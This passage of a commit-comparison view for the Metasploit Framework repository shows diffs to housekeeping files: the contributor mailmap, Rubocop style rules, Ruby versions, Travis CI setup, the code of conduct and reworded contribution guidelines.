| 918e04bace | |||
| 17521d600f | |||
| c49402b506 | |||
| c87b6bba0b | |||
| b94958234a | |||
| f56194516e | |||
| 6af364e6d8 | |||
| 4aac4cf3a9 | |||
| 92cd40c8db | |||
| bff3047e93 | |||
| d904fcb866 | |||
| c3f335ebb7 | |||
| 0c88820fce | |||
| 62dacb3d1e | |||
| 2b194e2b47 | |||
| 456f7613cf | |||
| c3f5d5c168 | |||
| 6c2d09d4e4 | |||
| 53c1adcb41 | |||
| 7ef006fcf9 | |||
| 858b67f943 | |||
| 6157ad76fe | |||
| 058eabbd24 | |||
| 8fbbff30db | |||
| d16189a295 | |||
| 785cf9e5aa | |||
| 4ca0566e10 | |||
| 65a19a92eb | |||
| 228c08bb4d | |||
| 2f515318e7 | |||
| 9b466d93bf | |||
| a2213a3c1c | |||
| 1ee8734717 | |||
| 479f74dfc9 | |||
| 001b576fa4 | |||
| fd59cbb61f | |||
| 2ee6a49a27 | |||
| 1c21ec588a | |||
| 057228c60b | |||
| 3ff9b3b0c9 | |||
| 41068c6ccb | |||
| dddc634f78 | |||
| f3e94c6d20 | |||
| 2b44f16310 | |||
| d3bf71fc35 | |||
| dbb48fed9f | |||
| fa81a0802a | |||
| 0f7b8a2453 | |||
| 90c31b96a7 | |||
| 2cde5641ad | |||
| eceb7d1702 | |||
| dc0ee43117 | |||
| 83c01e3de7 | |||
| f5b83943ba | |||
| bd8dea2c21 | |||
| 42784dceb1 | |||
| 29b16e1ee7 | |||
| 67e1742bd0 | |||
| 5861087061 | |||
| 3e801c22fb | |||
| cc7f500b83 | |||
| 60578a21c3 | |||
| 9e3f4744f7 | |||
| 3b2d5b0c15 | |||
| 1c05bb6ef3 | |||
| e9a94595c2 | |||
| eb39f6da51 | |||
| 85475507b9 | |||
| a2eb43ab83 | |||
| 3ab5b58a6b | |||
| 12ef780bc2 | |||
| b88fbccd9f | |||
| 035e790fd5 | |||
| 8897a5d7c6 | |||
| d1d308e542 | |||
| 4360b9e82e | |||
| 2ecff39be4 | |||
| cb1b0b92ef | |||
| bc87643ea3 | |||
| d7728afe42 | |||
| 7a99fc7066 | |||
| 2269f7eb43 | |||
| 76ee618f26 | |||
| ec9cedf4fc | |||
| 08e069bbe1 | |||
| 4a4c1cd559 | |||
| add03ca7f8 | |||
| 11ae0d2a78 | |||
| 631e8bf110 | |||
| 0564b0be09 | |||
| 98ee549705 | |||
| a76176a3fe | |||
| 4d785c4fea | |||
| 6f42bcafcf | |||
| f22e6ec2bf | |||
| 376a343472 | |||
| 0294d7eed1 | |||
| 4e967d45ab | |||
| f9c7de978e | |||
| cca98bce25 | |||
| 3c0f3f68f2 | |||
| 415379e7ee | |||
| 179b874763 | |||
| e444aa0489 | |||
| 93f68e817a | |||
| 7b7c5a73c4 | |||
| 53de99a8b4 | |||
| 91bab0d842 | |||
| 9696adb09c | |||
| 0739892cc8 | |||
| 36642d3071 | |||
| 8ce1329e74 | |||
| 8c29a3b5da | |||
| f3b9901c9f | |||
| 5970f4882d | |||
| dd32b8bd76 | |||
| fb042469df | |||
| ec71347283 | |||
| f295b22290 | |||
| e5ef254155 | |||
| 403841f44d | |||
| 83384269c9 | |||
| ce1fe7fe77 | |||
| c91eff48fb | |||
| e1097f7e38 | |||
| 5094040242 | |||
| bf7c530f7e | |||
| e11266f0a0 | |||
| 902d2bca96 | |||
| 7cfe93133b | |||
| 403b6b95b6 | |||
| 09c0947aa7 | |||
| aacbc43c1c | |||
| 76e08b9c4a | |||
| 91c61bb692 | |||
| e2b91bdfc1 | |||
| abaf059cdb | |||
| 9617c79f44 | |||
| 1a86d57bce | |||
| 22b1bb03e7 | |||
| 8b75c7d9ab | |||
| b09fa1caf8 | |||
| 1949cade78 | |||
| 807baacc2c | |||
| 6b6191a534 | |||
| a67938aab6 | |||
| b42cf88276 | |||
| 714fdb12fd | |||
| b95df100bb | |||
| 3fd0119d27 | |||
| 9ac0d0cf6e | |||
| 937174d321 | |||
| acf88f50b6 | |||
| 65fcdcfd2f | |||
| 43f1f8eeb2 | |||
| f49f37f76d | |||
| 4885117e46 | |||
| 39e13258c7 | |||
| 133291e85b | |||
| 0bad10de4e | |||
| 580f4cf509 | |||
| 0bc84bb6c6 | |||
| 2cb4b97164 | |||
| e6d9f39204 | |||
| 4b59552f8a | |||
| 7e180a390c | |||
| ea2a9081a6 | |||
| b42545a153 | |||
| 3a67d89711 | |||
| e74ef65aa5 | |||
| 33dc83804d | |||
| 4ec22c0ceb | |||
| 9f488cb150 | |||
| f7f322b26e | |||
| 5171e7edd2 | |||
| 8e5639a081 | |||
| c3469b0c80 | |||
| 10ffd286d9 | |||
| 3f53efe785 | |||
| 5fce9d8222 | |||
| 428623f890 | |||
| 68272c410e | |||
| 3fbd4f8f2f | |||
| 35edb48c48 | |||
| e9b04b9750 | |||
| 7713710591 | |||
| 6a5a19faca | |||
| 28bb518dbd | |||
| e075836ad5 | |||
| fdc24fe453 | |||
| fc4a5b9913 |
@@ -5,6 +5,8 @@ docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
!docker/database.yml
|
||||
Dockerfile
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
Tell us what this change does. If you're fixing a bug, please mention
|
||||
the github issue number.
|
||||
|
||||
Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's.
|
||||
|
||||
## Verification
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
@@ -93,3 +93,7 @@ docker-compose.local*
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
|
||||
#Ignore any base disk store files
|
||||
db/modules_metadata_base.pstore
|
||||
@@ -1,48 +1,29 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -62,10 +42,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
@@ -84,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
@@ -111,6 +98,7 @@ jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
@@ -120,9 +108,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
@@ -152,12 +146,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
@@ -165,6 +163,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
|
||||
+51
-9
@@ -9,7 +9,7 @@
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.2
|
||||
TargetRubyVersion: 2.4
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
@@ -45,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Naming/VariableNumber:
|
||||
Description: 'To make it easier to use reference code, disable this cop'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
@@ -55,14 +59,18 @@ Style/Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Layout/IndentHeredoc:
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
Enabled: false
|
||||
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
|
||||
Style/GuardClause:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
|
||||
Style/EmptyLiteral:
|
||||
Enabled: false
|
||||
Description: 'This looks awkward when you mix empty and non-empty literals'
|
||||
|
||||
Style/NegatedIf:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
@@ -72,9 +80,16 @@ Style/ConditionalAssignment:
|
||||
Description: 'This is confusing for folks coming from other languages'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
Enabled: false
|
||||
|
||||
Style/ParenthesesAroundCondition:
|
||||
Enabled: false
|
||||
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
|
||||
|
||||
Style/TrailingCommaInArrayLiteral:
|
||||
Enabled: false
|
||||
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
|
||||
|
||||
Metrics/LineLength:
|
||||
Description: >-
|
||||
@@ -83,6 +98,13 @@ Metrics/LineLength:
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
@@ -90,10 +112,10 @@ Metrics/MethodLength:
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
# Basically everything in metasploit needs binary encoding, not UTF-8.
|
||||
# Disable this here and enforce it through msftidy
|
||||
Style/Encoding:
|
||||
Enabled: false
|
||||
Naming/UncommunicativeMethodParamName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
@@ -104,11 +126,31 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/AlignHash:
|
||||
Enabled: false
|
||||
Description: 'aligning info hashes to match these rules is almost impossible to get right'
|
||||
|
||||
Layout/EmptyLines:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.5.1
|
||||
2.6.5
|
||||
|
||||
+11
-6
@@ -11,9 +11,8 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
- '2.5.7'
|
||||
- '2.6.5'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
@@ -25,11 +24,14 @@ matrix:
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script: skip
|
||||
before_script:
|
||||
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
- chmod +x docker-compose
|
||||
- sudo mv docker-compose /usr/bin
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -38,6 +40,7 @@ before_install:
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem update --system
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
@@ -49,7 +52,9 @@ before_script:
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
|
||||
- bash -c "${CMD}"
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ when an individual is representing the project or its community.
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
caitlin_condon@rapid7.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
|
||||
+47
-68
@@ -1,82 +1,58 @@
|
||||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
How ironic! Please take a look at Rapid7's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
|
||||
your report to security@rapid7.com using our [PGP key].
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
world -- a better place! Before you get started, review our
|
||||
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
|
||||
- [Submit bugs and feature requests] with detailed information about your issue or idea.
|
||||
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7.
|
||||
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
|
||||
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
|
||||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed. Sorry!
|
||||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
|
||||
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
|
||||
**will** be closed. Sorry!
|
||||
|
||||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
|
||||
allows for a location for more commits to be offered without mingling with other contributor changes,
|
||||
and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
Pull request [PR#9966] is a good example to follow.
|
||||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for
|
||||
automating local tasks, and anything "serious" can be done with post
|
||||
modules and local exploits.
|
||||
* **Do** include [Module Documentation] showing sample run-throughs.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
|
||||
anything "serious" can be done with post modules and local exploits.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
@@ -84,44 +60,47 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** include a link to any corresponding [Issues] in the format of
|
||||
`See #1234` in your commit description.
|
||||
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
|
||||
|
||||
When reporting Metasploit issues:
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
* **Don't** attempt to report issues on a closed PR.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
If you need some more guidance, talk to the main body of open source contributors over on our
|
||||
[Metasploit Slack] or [#metasploit on Freenode IRC].
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
|
||||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
